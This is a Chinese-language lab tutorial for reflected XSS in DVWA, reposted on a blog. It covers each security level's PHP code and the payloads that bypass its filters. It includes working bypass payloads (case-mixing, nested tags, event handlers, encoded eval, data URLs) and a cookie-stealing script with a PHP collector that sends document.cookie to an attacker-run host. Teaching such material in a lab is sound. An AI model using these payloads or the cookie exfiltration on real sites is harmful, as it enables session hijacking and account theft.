DVWA XSS (Reflected) 通关教程

XSS 介绍
XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。

DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

XSS利用的常见用途:

盗取用户 cookies
劫持会话
流量劫持
网页挂马
DDOS
提升权限
...

本次先介绍反射型XSS:

 

Reflected Cross Site Scripting

反射型XSS,非持久化,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发引起(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

 

Low Security Level

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

可以看到,代码直接采用get方式传入了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞。

Exploit

最普通的测试payload:

<script>alert(/xss/)</script>


XSS链接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>#

成功弹窗;

弹窗之后的实战利用之盗取用户 cookies 进入后台:

攻击者自己网站http://localhost/xss/里构造:

hacker.js

var img = new Image();
img.src="http://localhost/xss/hacker.php?x=" + document.cookie;
document.body.append(img);

hacker.php

<?php
$cookie = $_GET['x'];
file_put_contents('cookie.txt', $cookie);
?>

于是插入dvwa的xss payload为:

<script src="http://localhost/xss/hacker.js" /></script>

XSS利用,得到cookies:

修改cookies从而得到权限进入后台。

 

Medium Security Level

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可以看到,这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换为空,这种黑名单防护机制是可以被轻松绕过的。

Exploit

1.大小写绕过:

<ScRipt>alert(/xss/);</ScRipt>

XSS链接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=<ScRipt>alert(/xss/);</ScRipt>#

2.双写方式绕过 str_replace()函数

<scr<script>ipt>alert(/xss/);</script>

XSS链接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=<scr<script>ipt>alert(/xss/);</script>#

3.使用非 script 标签的 xss payload

例如:

img标签:

<img src=1 οnerrοr=alert('xss')>

<img src="1" οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

iframe标签:

<iframe οnlοad=alert(1)>

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

其他标签和利用还有很多很多….

 

High Security Level

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可以看到,High Security Level的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

Exploit

虽然无法使用<script>标签注入 XSS 代码,但是可以通过img、body等标签的事件或者iframe、src等标签的构造可利用的js代码。

例如:

1.使用 img 标签和其编码转换后的 XSS payload

<img src=1 οnerrοr=alert(/xss/)>

XSS 链接:

http://www.dvwa.com/vulnerabilities/xss_r/?name=<img+src=1+οnerrοr=alert(/xss/)>#

img标签编码转换后的XSS payload例如:

<img src=1 οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 οnerrοr=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<img src=1 οnerrοr=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>

2.使用 iframe 标签

<iframe οnlοad=alert(/xss/)>

3.使用 DATA URL 进行 XSS

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

其他的XSS payload还有很多很多…

 

Impossible Security Level

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

PHP htmlspecialchars()函数

把预定义的字符转换为HTML实体:

& (和号)成为 &amp;
" (双引号)成为 &quot; 
' (单引号)成为 &apos;//生效需要加 ENT_QUOTES 参数
< (小于)成为 &lt;
> (大于)成为 &gt;

可以看到,Impossible Security Level的代码使用htmlspecialchars函数把预定义的字符:

& " ' < >

转换为HTML实体,防止浏览器将其作为HTML元素。从而防治了反射型XSS利用和危害。

 

 

转载自:AnCoLin's Blog|影风博客DVWA XSS (Reflected) 通关教程

转载于:https://www.cnblogs.com/yyxianren/p/11381559.html

### DVWA XSS漏洞利用教程 #### 3.1 环境准备 为了进行DVWA中的XSS攻击实验,需先完成DVWA靶场环境的搭建以及Kali Linux系统的安装配置[^1]。 #### 3.2 设置DVWA难度级别 进入DVWA主页后,在左上角可调整安全性等级至低级以便于学习者更容易理解和实践XSS攻击原理。 #### 3.3 反射型跨站脚本攻击(Reflected XSS) 当用户输入的数据未经适当过滤就被返回给浏览器显示时就会发生反射型XSS。在DVWA中选择“XSS (Reflected)”选项卡并尝试提交恶意JavaScript代码作为查询参数的一部分来触发弹窗警告框`<script>alert('XSS')</script>`[^2]。 ```html <script>alert('XSS')</script> ``` #### 3.4 存储型跨站脚本攻击(Stored XSS) 存储型XSS发生在应用程序接收不可信数据并将这些数据永久保存下来之后再发送回其他用户的场景下。可以通过向留言板功能注入持久化的HTML/JS片段实现该类型的攻击模拟,比如发布一条包含如下内容的消息: ```html <img src="javascript:alert('Persistent%20XSS')"> ``` #### 3.5 DOM-based 跨站点脚本(DOM Based XSS) DOM-Based XSS不同于上述两种情况,它不涉及服务器端处理过程而是完全由客户端执行所引起的错误行为造成。可以在URL哈希部分附加带有潜在危害性的指令从而影响页面加载后的动态渲染效果,例如访问链接`http://localhost/DVWA/vulnerabilities/xss_d/?default=<img%20src=1%20onerror='alert(String.fromCharCode(88,83,83))'>#`将会导致图像加载失败事件被用来启动一个对话窗口展示字符串"XSS"。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值